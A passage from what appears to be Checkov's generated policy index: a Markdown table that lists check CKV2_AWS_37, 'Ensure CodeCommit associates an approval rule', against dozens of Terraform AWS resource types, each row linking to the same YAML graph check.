                                                                                                             | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1258 | CKV2_AWS_37              | resource                         | aws_controltower_control                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1259 | CKV2_AWS_37              | resource                         | aws_controltower_landing_zone                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1260 | CKV2_AWS_37              | resource                         | aws_costoptimizationhub_enrollment_status                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1261 | CKV2_AWS_37              | resource                         | aws_costoptimizationhub_preferences                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1262 | CKV2_AWS_37              | resource                         | aws_cur_report_definition                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1263 | CKV2_AWS_37              | resource                         | aws_customer_gateway                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1264 | CKV2_AWS_37              | resource                         | aws_customerprofiles_domain                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1265 | CKV2_AWS_37              | resource                         | aws_customerprofiles_profile                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1266 | CKV2_AWS_37              | resource                         | aws_dataexchange_data_set                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1267 | CKV2_AWS_37              | resource                         | aws_dataexchange_revision                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1268 | CKV2_AWS_37              | resource                         | aws_datapipeline_pipeline                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1269 | CKV2_AWS_37              | resource                         | aws_datapipeline_pipeline_definition                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1270 | CKV2_AWS_37              | resource                         | aws_datasync_agent                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1271 | CKV2_AWS_37              | resource                         | aws_datasync_location_azure_blob                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1272 | CKV2_AWS_37              | resource                         | aws_datasync_location_efs                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1273 | CKV2_AWS_37              | resource                         | aws_datasync_location_fsx_lustre_file_system                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1274 | CKV2_AWS_37              | resource                         | aws_datasync_location_fsx_ontap_file_system                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1275 | CKV2_AWS_37              | resource                         | aws_datasync_location_fsx_openzfs_file_system                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1276 | CKV2_AWS_37              | resource                         | aws_datasync_location_fsx_windows_file_system                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1277 | CKV2_AWS_37              | resource                         | aws_datasync_location_hdfs                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1278 | CKV2_AWS_37              | resource                         | aws_datasync_location_nfs                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1279 | CKV2_AWS_37              | resource                         | aws_datasync_location_object_storage                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1280 | CKV2_AWS_37              | resource                         | aws_datasync_location_s3                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1281 | CKV2_AWS_37              | resource                         | aws_datasync_location_smb                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1282 | CKV2_AWS_37              | resource                         | aws_datasync_task                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1283 | CKV2_AWS_37              | resource                         | aws_datazone_asset_type                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1284 | CKV2_AWS_37              | resource                         | aws_datazone_domain                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1285 | CKV2_AWS_37              | resource                         | aws_datazone_environment                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1286 | CKV2_AWS_37              | resource                         | aws_datazone_environment_blueprint_configuration                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1287 | CKV2_AWS_37              | resource                         | aws_datazone_environment_profile                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1288 | CKV2_AWS_37              | resource                         | aws_datazone_form_type                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1289 | CKV2_AWS_37              | resource                         | aws_datazone_glossary                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1290 | CKV2_AWS_37              | resource                         | aws_datazone_glossary_term                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1291 | CKV2_AWS_37              | resource                         | aws_datazone_project                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1292 | CKV2_AWS_37              | resource                         | aws_datazone_user_profile                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1293 | CKV2_AWS_37              | resource                         | aws_dax_cluster                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1294 | CKV2_AWS_37              | resource                         | aws_dax_parameter_group                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1295 | CKV2_AWS_37              | resource                         | aws_dax_subnet_group                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1296 | CKV2_AWS_37              | resource                         | aws_db_cluster_snapshot                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1297 | CKV2_AWS_37              | resource                         | aws_db_event_subscription                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1298 | CKV2_AWS_37              | resource                         | aws_db_instance                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1299 | CKV2_AWS_37              | resource                         | aws_db_instance_automated_backups_replication                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1300 | CKV2_AWS_37              | resource                         | aws_db_instance_role_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1301 | CKV2_AWS_37              | resource                         | aws_db_option_group                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1302 | CKV2_AWS_37              | resource                         | aws_db_parameter_group                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1303 | CKV2_AWS_37              | resource                         | aws_db_proxy                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1304 | CKV2_AWS_37              | resource                         | aws_db_proxy_default_target_group                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1305 | CKV2_AWS_37              | resource                         | aws_db_proxy_endpoint                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1306 | CKV2_AWS_37              | resource                         | aws_db_proxy_target                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1307 | CKV2_AWS_37              | resource                         | aws_db_security_group                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1308 | CKV2_AWS_37              | resource                         | aws_db_snapshot                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1309 | CKV2_AWS_37              | resource                         | aws_db_snapshot_copy                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1310 | CKV2_AWS_37              | resource                         | aws_db_subnet_group                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1311 | CKV2_AWS_37              | resource                         | aws_default_network_acl                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1312 | CKV2_AWS_37              | resource                         | aws_default_route_table                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1313 | CKV2_AWS_37              | resource                         | aws_default_security_group                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1314 | CKV2_AWS_37              | resource                         | aws_default_subnet                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1315 | CKV2_AWS_37              | resource                         | aws_default_vpc                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1316 | CKV2_AWS_37              | resource                         | aws_default_vpc_dhcp_options                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1317 | CKV2_AWS_37              | resource                         | aws_detective_graph                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1318 | CKV2_AWS_37              | resource                         | aws_detective_invitation_accepter                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1319 | CKV2_AWS_37              | resource                         | aws_detective_member                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1320 | CKV2_AWS_37              | resource                         | aws_detective_organization_admin_account                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1321 | CKV2_AWS_37              | resource                         | aws_detective_organization_configuration                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1322 | CKV2_AWS_37              | resource                         | aws_devicefarm_device_pool                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1323 | CKV2_AWS_37              | resource                         | aws_devicefarm_instance_profile                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1324 | CKV2_AWS_37              | resource                         | aws_devicefarm_network_profile                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1325 | CKV2_AWS_37              | resource                         | aws_devicefarm_project                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1326 | CKV2_AWS_37              | resource                         | aws_devicefarm_test_grid_project                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1327 | CKV2_AWS_37              | resource                         | aws_devicefarm_upload                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1328 | CKV2_AWS_37              | resource                         | aws_devopsguru_event_sources_config                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1329 | CKV2_AWS_37              | resource                         | aws_devopsguru_notification_channel                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1330 | CKV2_AWS_37              | resource                         | aws_devopsguru_resource_collection                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1331 | CKV2_AWS_37              | resource                         | aws_devopsguru_service_integration                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1332 | CKV2_AWS_37              | resource                         | aws_directory_service_conditional_forwarder                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1333 | CKV2_AWS_37              | resource                         | aws_directory_service_directory                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1334 | CKV2_AWS_37              | resource                         | aws_directory_service_log_subscription                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1335 | CKV2_AWS_37              | resource                         | aws_directory_service_radius_settings                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1336 | CKV2_AWS_37              | resource                         | aws_directory_service_region                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1337 | CKV2_AWS_37              | resource                         | aws_directory_service_shared_directory                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1338 | CKV2_AWS_37              | resource                         | aws_directory_service_shared_directory_accepter                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1339 | CKV2_AWS_37              | resource                         | aws_directory_service_trust                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1340 | CKV2_AWS_37              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1341 | CKV2_AWS_37              | resource                         | aws_dms_certificate                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1342 | CKV2_AWS_37              | resource                         | aws_dms_endpoint                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1343 | CKV2_AWS_37              | resource                         | aws_dms_event_subscription                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1344 | CKV2_AWS_37              | resource                         | aws_dms_replication_config                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1345 | CKV2_AWS_37              | resource                         | aws_dms_replication_instance                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1346 | CKV2_AWS_37              | resource                         | aws_dms_replication_subnet_group                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1347 | CKV2_AWS_37              | resource                         | aws_dms_replication_task                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 